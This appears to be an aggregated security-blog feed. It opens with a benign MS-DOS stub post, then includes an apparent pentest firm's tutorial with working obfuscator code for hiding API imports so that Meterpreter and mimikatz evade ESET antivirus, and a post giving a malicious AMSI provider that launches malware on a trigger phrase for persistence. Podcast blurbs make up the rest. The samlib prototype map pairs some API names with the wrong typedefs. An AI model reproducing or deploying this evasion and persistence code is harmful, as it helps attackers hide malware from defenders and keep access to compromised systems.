  return 0;
}

The following code is in 16-bit MASM. This will be our MS-DOS stub program.

dosseg			
 
ifndef ??Version	 
	option m510	
endif

.model small
.8086
.stack	0400h		 

.data
    message db '@OsandaMalith',0Dh,0dh,0Ah
    len = $ - message
		
.code
Main proc		
    mov ax, @data
    mov ds, ax              
    mov es, ax             
 
    lea bp, message 		

    mov cx, len
    mov bl, 2 
    
    xor dx, dx
    push dx

.repeat
    push cx                 ; Save CX (needed for Int 10h/AH=13h below)
    mov ah, 03h             ; VIDEO - GET CURSOR POSITION AND SIZE
    xor bh, bh              ; Page 0
    int 10h                 ; Call Video-BIOS => DX is current cursor position
    pop cx    
    
    mov ah, 13h             ; VIDEO - WRITE STRING (AT and later,EGA)
    mov al, 1               ; Mode 1: move cursor
    xor bh, bh              ; Page 0
    int 10h       
	
    pop dx
    inc dx
    push dx
.until dx == 5
 
    mov  ax, 4C01h          
    int  21h
 
Main endp 
end Main

After assembling and linking we get the 16-bit DOS executable.

ml /c /Fo hello.obj hello.asm
seglink hello.obj, stub.exe,nul,,nul

One way is to patch the MS-DOS stub from the PE header and inject our code. But we will have limited space if we try patching. Since we have the source code, we can tell the linker to use our stub program while linking using the “/stub” parameter.

link hello.obj /stub:stub.exe

If you check the PE headers you can see our newly created stub program in the IMAGE_DOS_STUB section.

Now finally if we run the 64-bit PE inside MS-DOS, we should nicely see our newly created stub program executing.

Programmers can use this technique to write another program to run in MS-DOS. These techniques were used in demo programs back in the past. You can use this for creating crackmes and in creating CTFs.

Engineering antivirus evasion (Part II)

By: plowsec
15 July 2020 at 14:33

tl;dr To interact with the Windows operating system, software often import functions from Dynamic Link Libraries (DLL). These functions are listed in clear-text in a table called Import Address Table and antivirus software tend to capitalise on that to infer malicious behavioural detection. We show ideas and implementation of an obfuscator that allows to refactor any C/C++ software to remove this footprint, with a focus on Meterpreter. The source code is available at https://github.com/scrt/avcleaner.

Introduction

In a previous blog post, we showed how to replace string literals in source code accurately without using regexes. The goal is to reduce the footprint of a binary and blind security software that relies on static signatures.

However, apart from string literals in the source code itself, there are plenty of other fingerprints that can be collected and analysed statically. In this blog post, we will show how one can hide API imports manually from a binary, and then automate the process for every software written in C/C++.

The problem with API imports

Let us write and build a simple C program that pops up an alert box:

#include <Windows.h>
int main(int argc, char** argv) { 
    MessageBox(NULL, "Test", "Something", MB_OK);
    return 0;
}

Then, build with your favorite compiler. Here, MinGW is used to cross-build from macOS to Windows:

x86_64-w64-mingw32-gcc test.c -o /tmp/toto.exe

Afterwards, one can list the strings using rabin2 (included in radare2), or even the GNU strings utility:

rabin2 -zz /tmp/toto.exe | bat

 205   │ 201  0x00003c92 0x00408692 7   8    .idata        ascii   strncmp
 206   │ 202  0x00003c9c 0x0040869c 8   9    .idata        ascii   vfprintf
 207   │ 203  0x00003ca8 0x004086a8 11  12   .idata        ascii   MessageBoxA
 208   │ 204  0x00003d10 0x00408710 12  13   .idata        ascii   KERNEL32.dll
 209   │ 205  0x00003d84 0x00408784 10  11   .idata        ascii   msvcrt.dll
 210   │ 206  0x00003d94 0x00408794 10  11   .idata        ascii   USER32.dll
...

9557   │ 9553 0x0004f481 0x00458e81 30  31                 ascii   .refptr.__native_startup_state
9558   │ 9554 0x0004f4a0 0x00458ea0 11  12                 ascii   __ImageBase
9559   │ 9555 0x0004f4ac 0x00458eac 11  12                 ascii   MessageBoxA
9560   │ 9556 0x0004f4b8 0x00458eb8 12  13                 ascii   GetLastError
9561   │ 9557 0x0004f4c5 0x00458ec5 17  18                 ascii   __imp_MessageBoxA
9562   │ 9558 0x0004f4d7 0x00458ed7 23  24                 ascii   GetSystemTimeAsFileTime
9563   │ 9559 0x0004f4ef 0x00458eef 22  23                 ascii   mingw_initltssuo_force
9564   │ 9560 0x0004f506 0x00458f06 19  20                 ascii   __rt_psrelocs_start

As evident from the console output shown above, the string MessageBoxA appears three times. This is due to the fact that this function must be imported from the library User32.dll (more on this later).

Of course, this string in particular is not susceptible to raise an antivirus’ eyebrows, but that would definitely be the case for APIs such as:

  • InternetReadFile
  • ShellExecute
  • CreateRemoteThread
  • OpenProcess
  • ReadProcessMemory
  • WriteProcessMemory

Hiding API imports

Before going further, let us recapitulate the different ways available to developers to call functions in external libraries on Windows systems [1]:

  • Load-time dynamic linking.
  • Run-time dynamic linking.

Load-time dynamic linking

This is the default approach to resolve function in external libraries and is actually taken care of automatically by the linker. During the build cycle, the application is linked against the import library (.lib) of each Dynamic Link Library (DLL) it depends on. For each imported function, the linker writes an entry into the IAT for the associated DLL.

When the application is started, the operating system scans the IAT and maps all the libraries listed there in the process’ address space, and the addresses of each imported function is updated to point to the corresponding entry in the DLL’s Export Address Table.

Import Address Table (IAT)

Run-time dynamic linking

An alternative is to do it manually by first loading the corresponding library with LoadLibrary, and then resolving the function’s address with GetProcAddress. For instance, the previous example can be adapted in order to rely on run-time dynamic linking.

First, it is necessary to define a function pointer for the API MessageBoxA. Before jumping into that, let us share a small trick to remember the syntax of function pointers in C for those of us that find it unintuitive:

<return type> (*<your pointer name>)(arg1, arg2, ...);

As you can see, it is the same syntax used to define functions, apart from the star operator (because it is a function pointer) and the parenthesis.

Now, we need the prototype of MessageBox, which can be copy-pasted from winuser.h from the Windows SDK or straight from MSDN:

int MessageBox(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType
);

Now, the aforementioned function pointer syntax can be updated with the correct information:

int (*_MessageBoxA)(
    HWND hWnd,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT uType
);

MSDN tells us that this function is exported by User32.dll:

The API MessageBoxA is exported by User32.dll.

So, the application must first load this library:

HANDLE hUser32 = LoadLibrary("User32.dll");

Then, GetProcAddress can finally be used to assign the correct address to the function pointer defined above:

_MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, "MessageBoxA");

From there, the original example must be adapted to call fMessageBoxA instead of MessageBoxA, which gives:

#include <Windows.h>

typedef int (*_MessageBoxA)(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType
);

int main(int argc, char** argv) {

    HANDLE hUser32 = LoadLibraryA("User32.dll");
    _MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, "MessageBoxA");
    fMessageBoxA(NULL, "Test", "Something", MB_OK);
    return 0;
}

The Windows.h include is only required for the data types HWND, LPCTSTR and UINT. Building and running this simple example spawns an alert box, as expected:

Simplest example of using LoadLibrary and GetProcAddress for run-time dynamic linking.

Final adaptation

Of course, running strings on toto.exe will still yield the strings “User32.dll” and “MessageBoxA”. So, those strings should ideally be encrypted, but the simple obfuscation trick shown in the previous blog post suffices to bypass antivirus detection. The end result would be:

#include <Windows.h>

typedef int (*_MessageBoxA)(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType
);

int main(int argc, char** argv) {

    char user32[] = {'U','s','e','r','3','2','.','d','l','l',0};
    HANDLE hUser32 = LoadLibraryA(user32);

    char messabox[] = {'M','e','s','s','a','g','e','B','o','x','A',0};
    _MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, messabox);
    fMessageBoxA(NULL, "Test", "Something", MB_OK);
    return 0;
}

This time, neither strings nor rabin2 are able to find the string (although a reverse-engineer sure will):

➜  x86_64-w64-mingw32-gcc test.c -o /tmp/toto.exe
➜  strings /tmp/toto.exe | grep MessageBox
➜  rabin2 -zz /tmp/toto.exe | grep MessageBox
➜  

Automated source code refactoring

The same approach lengthily described in the previous blog post can be used to refactor an existing code-base, so that suspicious API are loaded at runtime and removed from the Import Address Table. To do that, we will build upon the existing work realised with libTooling.

Let us break down this task as follows:

  • Generate the Abstract Syntax Tree for the previous, original example. This is required to understand how to manipulate the nodes to replace a function call.
  • Locate all the function calls in a code-base for a given API with an ASTMatcher.
  • Replace all the calls with another function identifier.
  • Insert LoadLibrary / GetprocAddress calls just before each function call.
  • Check that it works.
  • Generalise and obfuscate all the suspicious API.

The MessageBox application’s Abstract Syntax Tree

To view Clang’s Abstract Syntax Tree for the original MessageBox application, let us use that script (adapt the path to your Windows SDK):

WIN_INCLUDE="/Users/vladimir/dev/avcleaner"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"

clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"\
  "-I" "$CLANG_PATH/include" \
  "-I" "$CLANG_PATH" \
  "-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"\
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/um" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" \
  "-fdeprecated-macro" \
  "-w" \
  "-fdebug-compilation-dir"\
  "-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility" \
  "-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"

And run it:

bash clang-astdump.sh test/messagebox_simple.c > test/messagebox_simple.c.ast
Clang Abstract Syntax Tree for a simple application that calls the API MessageBoxA.

Locating function calls in source code basically amounts to finding AST nodes of type CallExpr. As pictured on the screenshot above, the function name that is actually called is specified in one of its child nodes, so it should be possible to access it later on.

Locate function calls for a given API

ASTMatcher is just what we need in order to enumerate every function call to a given function. First, it is important to get the syntax right for this matcher, since it is a bit more complicated that the one used in the previous blog post. To get it right, I relied on clang-query, which is an invaluable interactive tool that allows to run custom queries on source code. Interestingly, it is also based on libTooling and is much more powerful than what is showcased in this blog post (see [2]).

clang-query> match callExpr(callee(functionDecl(hasName("MessageBoxA"))))

Match #1:

/Users/vladimir/dev/scrt/avcleaner/test/messagebox_simple.c:6:5: note: "root" binds here
    MessageBoxA(NULL, "Test", "Something", MB_OK);
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 match.
clang-query>

Trial-and-error and tab completion suffice to converge quickly to a working solution. Now that the matcher is proven to work well, we can create a new ASTConsumer just like we did in the previous blog post. Basically, its job is to reproduce what we did with clang-query, but in C++:

class ApiCallConsumer : public clang::ASTConsumer {
public:

    ApiCallConsumer(std::string ApiName, std::string TypeDef, std::string Library)
            : _ApiName(std::move(ApiName)), _TypeDef(std::move(TypeDef)), _Library(std::move(Library)) {}

    void HandleTranslationUnit(clang::ASTContext &Context) override {
        
        using namespace clang::ast_matchers;
        using namespace AVObfuscator;

        llvm::outs() << "[ApiCallObfuscation] Registering ASTMatcher for " << _ApiName << "\n";
        MatchFinder Finder;
        ApiMatchHandler Handler(&ASTRewriter, _ApiName, _TypeDef, _Library);

        const auto Matcher = callExpr(callee(functionDecl(hasName(_ApiName)))).bind("callExpr");

        Finder.addMatcher(Matcher, &Handler);
        Finder.matchAST(Context);
    }

private:
    std::string _ApiName;
    std::string _TypeDef;
    std::string _Library;
};

An implementation detail that we found important was to offer the possibility to match many different functions, and since the end game is to insert LoadLibrary / GetProcAddress for each replaced API function, we need to be able to supply the DLL name along the function prototype.

Doing so allows to elegantly register as many ASTConsumers as there are API to replace. Instantiation of this ASTConsumer must be done in the ASTFrontendAction:

Minor modifications of main.cpp.

This is the only modification required on the existing code that we did in the previous blog post. From there, everything else can be realised as a bunch of code that we will add, starting with the creation of ApiMatchHandler.cpp.
The matcher must be provided with a callback function, so let us give it one:

void ApiMatchHandler::run(const MatchResult &Result) {

    llvm::outs() << "Found " << _ApiName << "\n";

    const auto *CallExpression = Result.Nodes.getNodeAs<clang::CallExpr>("callExpr");
    handleCallExpr(CallExpression, Result.Context);
}

The task broken down as a list of steps in the beginning of the section can be transposed in code, for instance with the following methods:

bool handleCallExpr(const clang::CallExpr *CallExpression, clang::ASTContext *const pContext);

bool replaceIdentifier(const clang::CallExpr *CallExpression, const std::string &ApiName,
                        const std::string &NewIdentifier);
bool
addGetProcAddress(const clang::CallExpr *pCallExpression, clang::ASTContext *const pContext,
                    const std::string &NewIdentifier, std::string &ApiName);

clang::SourceRange findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
                                        const clang::CallExpr &Literal, uint64_t Iterations);

Replace function calls

This is the most trivial part. The goal is to replace “MessageBoxA” in the AST with a random identifier. Initialisation of this random variable is done in the subsequent section.

bool ApiMatchHandler::handleCallExpr(const CallExpr *CallExpression, clang::ASTContext *const pContext) {

    // generate a random variable name
    std::string Replacement = Utils::translateStringToIdentifier(_ApiName);

    // inject Run-time dynamic linking
    if (!addGetProcAddress(CallExpression, pContext, Replacement, _ApiName))
        return false;

    // MessageBoxA -> random identifier generated above
    return replaceIdentifier(CallExpression, _ApiName, Replacement);
}

The ReplaceText Clang AP is used to rename the function identifier:

bool ApiMatchHandler::replaceIdentifier(const CallExpr *CallExpression, const std::string &ApiName,
                                        const std::string &NewIdentifier) {
    return this->ASTRewriter->ReplaceText(CallExpression->getBeginLoc(), ApiName.length(), NewIdentifier);
}

Insert LoadLibrary / GetProcAddress

Injecting Run-time dynamic linking for the API that we would like to add is a multi-step process:

  • Insert the API prototype, either at the top of the translation unit or in the enclosing function. To keep it simple, we opt for the latter, but we need to ensure that it was not already added in case the API is called several times in the same function, which would happen if there are subsequent calls to the same API.
  • Insert the line HANDLE <random identifier> LoadLibrary(<library name>);
  • Insert the call to GetProcAddress.

Of course, to avoid inserting obvious string literals while doing this, each string must be written as a stack string instead. This makes the code a bit tedious to read but nothing too complex:

bool ApiMatchHandler::addGetProcAddress(const clang::CallExpr *pCallExpression, clang::ASTContext *const pContext,
                                        const std::string &NewIdentifier, std::string &ApiName) {

    SourceRange EnclosingFunctionRange = findInjectionSpot(pContext, clang::ast_type_traits::DynTypedNode(),
                                                           *pCallExpression, 0);

    std::stringstream Result;

    // add function prototype if not already added
    if(std::find(TypedefAdded.begin(), TypedefAdded.end(), pCallExpression->getDirectCallee()) == TypedefAdded.end()) {

        Result << "\t" << _TypeDef << "\n";
    }

    // add LoadLibrary with obfuscated strings
    std::string LoadLibraryVariable = Utils::translateStringToIdentifier(_Library);
    std::string LoadLibraryString = Utils::generateVariableDeclaration(LoadLibraryVariable, _Library);
    std::string LoadLibraryHandleIdentifier = Utils::translateStringToIdentifier("hHandle_"+_Library);
    Result << "\t" << LoadLibraryString << std::endl;
    Result << "\tHANDLE " << LoadLibraryHandleIdentifier << " = LoadLibrary(" << LoadLibraryVariable << ");\n";

    // add GetProcAddress with obfuscated string: TypeDef NewIdentifier = (TypeDef) GetProcAddress(handleIdentifier, ApiName)
    std::string ApiNameIdentifier = Utils::translateStringToIdentifier(ApiName);
    std::string ApiNameDecl = Utils::generateVariableDeclaration(ApiNameIdentifier, ApiName);
    Result << "\t" << ApiNameDecl << "\n";
    Result << "\t_ "<< ApiName << " " << NewIdentifier << " = (_" << ApiName << ") GetProcAddress("
           << LoadLibraryHandleIdentifier << ", " << ApiNameIdentifier << ");\n";

    TypedefAdded.push_back(pCallExpression->getDirectCallee());

    // add everything at the beginning of the function.
    return !(ASTRewriter->InsertText(EnclosingFunctionRange.getBegin(), Result.str()));
}

Test

git clone https://github.com/scrt/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..

To test that everything works as expected, the following test file is used:

#include <Windows.h>

int main(int argc, char** argv) {

    MessageBoxA(NULL, "Test", "Something", MB_OK);
    MessageBoxA(NULL, "Another test", "Another something", MB_OK);
    return 0;
}

Run the obfuscator:

./CMakeBuild/avcleaner.bin test/messagebox_simple.c --strings=true --api=true -- -D _WIN64 -D _UNICODE -D UNICODE -D _WINSOCK_DEPRECATED_NO_WARNINGS\
 -I /usr/local/Cellar/llvm/9.0.1\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/msvc-14.15.26726-include\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/ucrt\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/shared\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/um\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/winrt -w -fdebug-compilation-dir -fno-use-cxa-atexit -fms-extensions -fms-compatibility -fms-compatibility-version=19.15.26726 -std=c++14 -fdelayed-template-parsing -fobjc-runtime=gcc -fcxx-exceptions -fexceptions -fdiagnostics-show-option -fcolor-diagnostics -x c++ -ferror-limit=1900 -target x86_64-pc-windows-msvc19.15.26726 -fsyntax-only -disable-free -disable-llvm-verifier -discard-value-names -dwarf-column-info -debugger-tuning=gdb -momit-leaf-frame-pointer -v

Inspect the result:

#include <Windows.h>

int main(int argc, char** argv) {
    
	const char  hid_Someth_lNGj92poubUG[] = {'\x53','\x6f','\x6d','\x65','\x74','\x68','\x69','\x6e','\x67',0};

	const char  hid_Anothe_UP7KUo4Sa8LC[] = {'\x41','\x6e','\x6f','\x74','\x68','\x65','\x72','\x20','\x74','\x65','\x73','\x74',0};

	const char  hid_Anothe_ACsNhmIcS1tA[] = {'\x41','\x6e','\x6f','\x74','\x68','\x65','\x72','\x20','\x73','\x6f','\x6d','\x65','\x74','\x68','\x69','\x6e','\x67',0};
	typedef int (*_MessageBoxA)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
	TCHAR hid_User___Bhk5rL2239Kc[] = {'\x55','\x73','\x65','\x72','\x33','\x32','\x2e','\x64','\x6c','\x6c',0};

	HANDLE hid_hHandl_PFP2JD4HjR8w = LoadLibrary(hid_User___Bhk5rL2239Kc);
	TCHAR hid_Messag_drqxgJLSrxfT[] = {'\x4d','\x65','\x73','\x73','\x61','\x67','\x65','\x42','\x6f','\x78','\x41',0};

	_MessageBoxA hid_Messag_1W70P1kc8OJv = (_MessageBoxA) GetProcAddress(hid_hHandl_PFP2JD4HjR8w, hid_Messag_drqxgJLSrxfT);
	TCHAR hid_User___EMmJBb201EuJ[] = {'\x55','\x73','\x65','\x72','\x33','\x32','\x2e','\x64','\x6c','\x6c',0};

	HANDLE hid_hHandl_vU1riOrVWM8g = LoadLibrary(hid_User___EMmJBb201EuJ);
	TCHAR hid_Messag_GoaJMFscXsdw[] = {'\x4d','\x65','\x73','\x73','\x61','\x67','\x65','\x42','\x6f','\x78','\x41',0};

	_MessageBoxA hid_Messag_6nzSLR0dttUn = (_MessageBoxA) GetProcAddress(hid_hHandl_vU1riOrVWM8g, hid_Messag_GoaJMFscXsdw);
hid_Messag_1W70P1kc8OJv(NULL, "Test", hid_Someth_lNGj92poubUG, MB_OK);
    hid_Messag_6nzSLR0dttUn(NULL, hid_Anothe_UP7KUo4Sa8LC, hid_Anothe_ACsNhmIcS1tA, MB_OK);
    return 0;
}

As you can see, the combination of both the string obfuscation and API obfuscation passes are quite powerful. The string “Test” was left out because we decided to ignore small strings. Then, the obfuscated source code can be built:

$ cp test/messagebox_simple.c.patch /tmp/test.c
$ x86_64-w64-mingw32-gcc /tmp/test.c -o /tmp/toto.exe

Testing on a Windows 10 virtual machine showed that the original features were kept functional. More importantly, there are no “MessageBox” strings in the obfuscated binary:

$ rabin2 -zz /tmp/toto.exe | grep MessageBox | wc -l
  0

Generalisation

With regard to the antivirus ESET Nod32, we discovered that it was important to hide API imports related to samlib.dll, especially the APIs in the list below:

  • SamConnect
  • SamConnectWithCreds
  • SamEnumerateDomainsInSamServer
  • SamLookupDomainInSamServer
  • SamOpenDomain
  • SamOpenUser
  • SamOpenGroup
  • SamOpenAlias
  • SamQueryInformationUser
  • SamSetInformationUser
  • SamiChangePasswordUser
  • SamGetGroupsForUser
  • SamGetAliasMembership
  • SamGetMembersInGroup
  • SamGetMembersInAlias
  • SamEnumerateUsersInDomain
  • SamEnumerateGroupsInDomain
  • SamEnumerateAliasesInDomain
  • SamLookupNamesInDomain
  • SamLookupIdsInDomain
  • SamRidToSid
  • SamCloseHandle
  • SamFreeMemory

These functions are not black-listed anywhere in the AV engine as far as we could tell, but they do somehow increase the internal detection confidence score. So, we must register an ApiCallConsumer for each of these functions, which means that we need their names and their function prototypes:

static std::map<std::string, std::string> ApiToHide_samlib = {
    {"SamConnect",                     "typedef NTSTATUS (__stdcall* _SamEnumerateDomainsInSamServer)(SAMPR_HANDLE ServerHandle, DWORD * EnumerationContext, PSAMPR_RID_ENUMERATION* Buffer, DWORD PreferedMaximumLength,DWORD * CountReturned);"},
    {"SamConnectWithCreds",            "typedef NTSTATUS(__stdcall* _SamConnect)(PUNICODE_STRING ServerName, SAMPR_HANDLE * ServerHandle, ACCESS_MASK DesiredAccess, BOOLEAN Trusted);"},
    {"SamEnumerateDomainsInSamServer", "typedef NTSTATUS(__stdcall* _SamConnectWithCreds)(PUNICODE_STRING ServerName, SAMPR_HANDLE * ServerHandle, ACCESS_MASK DesiredAccess, LSA_OBJECT_ATTRIBUTES * ObjectAttributes, RPC_AUTH_IDENTITY_HANDLE AuthIdentity, PWSTR ServerPrincName, ULONG * unk0);"},
    ...
}

And then, we update main.cpp to iterate over this collection and handle each one:

for(auto const& el: ApiToHide_samlib){

    auto Cons = std::make_unique<ApiCallConsumer*>(new ApiCallConsumer(el.first, el.second,
                                                                        "samlib.dll"));
    consumers.push_back(*Cons);
}

Here, std::make_unique is invaluable because it allows us to instantiate objects on the heap in this loop, while sparing us the effort to manually free those objects later on. They will be freed automatically when they are no longer used.

Finally, we can battle test the obfuscator against mimikatz, especially kuhl_m_lsadump.c:

bash run_example_mimikatz.sh test/kuhl_m_lsadump.c

This produce an interesting result:

Run-time dynamic linking for API imported from samlib.dll

Actual function calls are correctly replaced:

Function calls imported from samlib.dll are correctly replaced.

The strings inside the macro “PRINT_ERROR” were left out because we noped out this macro with a do{}while(0). As a side note, we did not find a better project to find bugs in the obfuscator than mimikatz. The code style is indeed quite exotic 🙂 .

Improvements

Here are some exercices left to the reader 🙂

More stealth

You don’t actually need the API LoadLibrary / GetProcAddress to perform run-time dynamic linking.

It is best to reimplement these functions to avoid hooks, and there already are open-source projects that allow you to do that (ReflectiveDLLInjection).

If you managed to read this far, you know that you only have to inject an implementation for these functions at the top of the translation unit (with findInjectionSpot) and update the method addGetProcAddress to use your implementation instead of the WinAPI.

Error handling

  • LoadLibrary returns NULL in case it was not successful, so it is possible to add a check for this and gracefully recover from this error. In the current situation, the application may very well crash.
  • GetProcAddress also returns NULL in case of errors and it is important to check for this as well.

Conclusion

In this blog post, we showed how it is possible to accurately replace function calls in C/C++ code-bases without using regexes. All of that was realised to prevent antivirus software to statically collect behaviour information about Meterpreter or other software that we use during our pentesting engagements.

Applied to ESET Nod32, this was a key step to allow every Meterpreter modules to go through its net undetected, and was definitely helpful for the more advanced products.

Hiding API imports is one thing, but once the malware executes, there are ways for a security software to gather behavioural information by monitoring API calls.

In view of that, the next blog post will be about automated refactoring of suspicious Win32 APIs to direct syscalls. This is another key step to circumvent run-time detection realised with userland hooks for AV such as Cylance, Traps and Kaspersky.

References

[1] The Rootkit Arsenal, Chapter 11, p.480.
[2] https://devblogs.microsoft.com/cppblog/exploring-clang-tooling-part-2-examining-the-clang-ast-with-clang-query/

Vladimir Meier

How to become a malware analyst | Guest Danny Jenkins

By: Infosec
13 July 2020 at 07:00

Uncover the dark, sticky details of malware, ransomware and other nasties that reside one unguarded click away. On today's episode, Danny Jenkins, CEO and Co-Founder of ThreatLocker®, talks about some of the ways these ever-evolving malware types can ruin your digital life, the nuts and bolts of malware analysis, and why your CISO should be "annoying you if they're doing their job."

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Danny Jenkins is a technical guru with a deep understanding of corporate IT and cybersecurity. He has an entrepreneurial background and two decades of experience in building and securing corporate networks. Before taking the reins at ThreatLocker, Danny held CEO and CTO positions at multiple IT companies and founded a few cybersecurity businesses of his own.  


About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

Antimalware Scan Interface Provider for Persistence

11 July 2020 at 00:00

This blog post explains how you can execute arbitrary code and maintain access to a Microsoft Windows system by leveraging AMSI provider.

AMSI

Windows Antimalware Scan Interface (AMSI) is an interface standard that allows applications and services to integrate with any antimalware product installed on the system. For example, if an AV vendor wants to intercept the powershell commands after they have been decoded they must have their scan engine interfaced with AMSI. The same for Assembly.Load.

AMSI is integrated into the following components of Windows 10.

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript
  • Office VBA macros

AMSI Provider

AMSI Provider is the component responsible for the scan by the Antimaware product. This component must implement the IAntimalwareProvider interface which has the following methods

Method Description
IAntimalwareProvider::CloseSession Closes the session
IAntimalwareProvider::DisplayName The name of the antimalware provider to be displayed
IAntimalwareProvider::Scan Scan a stream of content

To function as an AMSI provider, the component (DLL) must be registered as an in-process COM server. The registration process can be done in two ways:

  1. Implementing the DllRegisterServer method into the DLL and register it with the regsvr32 command

  2. Manual setting of the following registry keys

    1. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID (Default) REG_SZ “Provider description”
    2. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID\InprocServer32 (Default) REG_EXPAND_SZ “Path to Dll” - ThreadingModel REG_SZ “Both”
    3. HKLM\SOFTWARE\Microsoft\AMSI\Providers\ "GUID"

Administrator privileges are required to register a provider. Once registered, the Dll will be loaded into any process involving AMSI (powershell, clr, etc.) and the Scan method

HRESULT Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)

will be invoked when a content is scanned

Using AMSI Provider for Persistence

So if we can provide a malicious DLL and register it as a provider, we can make a persistence that triggers a “scan request” for antimalware :). In addition, from the Scan method passes the content to be analyzed so in the case of powershell we will have the possibility to analyze the commands sent and then trigger the execution of the malware only in the case of specific words

An example of the implementation of the Scan method

HRESULT SampleAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
{
	_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
	_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");

	UNICODE_STRING myTriggerString1;
	RtlInitUnicodeString(&myTriggerString1, L"Run my malware");

	UNICODE_STRING myTriggerString2;
	RtlInitUnicodeString(&myTriggerString2, L"\"Run my malware\"");

	UNICODE_STRING myTriggerString3;
	RtlInitUnicodeString(&myTriggerString3, L"'Run my malware'");

	ULONG actualSize;
	ULONGLONG contentSize;
	if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) &&
		actualSize == sizeof(ULONGLONG))
	{
		*result = AMSI_RESULT_NOT_DETECTED;

		return S_OK;
	}

	PBYTE contentAddress;
	if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) &&
		actualSize == sizeof(PBYTE))
	{
		*result = AMSI_RESULT_NOT_DETECTED;

		return S_OK;
	}


	if (contentAddress)
	{
		if (contentSize < 50)
		{
			UNICODE_STRING myuni;
			myuni.Buffer = (PWSTR)contentAddress;
			myuni.Length = (USHORT)contentSize;
			myuni.MaximumLength = (USHORT)contentSize;

			if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString3, &myuni, TRUE))
			{

				DWORD thId;
				CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);
			}
		}
	}

	*result = AMSI_RESULT_NOT_DETECTED;

	return S_OK;
}

AmsiProvider.cpp · GitHub

Prevention

Starting with the Windows 10 1903 release, Microsoft introduced a way to enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks for providers. But this feature is not enabled by default. To enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks, set the key

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits

to 0x2 (DWORD) .

Preparing the next generation of cybersecurity professionals | Guest Victor “Vic” Malloy

By: Infosec
6 July 2020 at 07:00

Students high school age and younger are getting fast-tracked into cybersecurity. Some are even learning concepts like packet tracing at just six years old, says Victor “Vic” Malloy, an Independent Consultant working with the CyberTexas Foundation as their General Manager. On today's episode, Vic shares his wealth of engaging stories about inspiring young people through the CyberTexas Foundation, getting people of all ages interested in cybersecurity and developing the next generation of the workforce.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Vic earned a bachelor’s degree from the University of North Texas and a master’s degree from Webster University. He had multiple assignments over 13 years working in cyberspace security at multiple network operations and security centers in the U.S. Air Force. His last position in the Air Force was overseeing daily cyber operations tasked missions within the AF Cyberspace Operations Center, which was responsible for the cyber defense of all Air Force global networks and the global employment of cyberspace capabilities to support ongoing combat operations. Previously, he served as Chief Information Officer for National Security Agency/Central Security Service in Texas. 

About Infosec
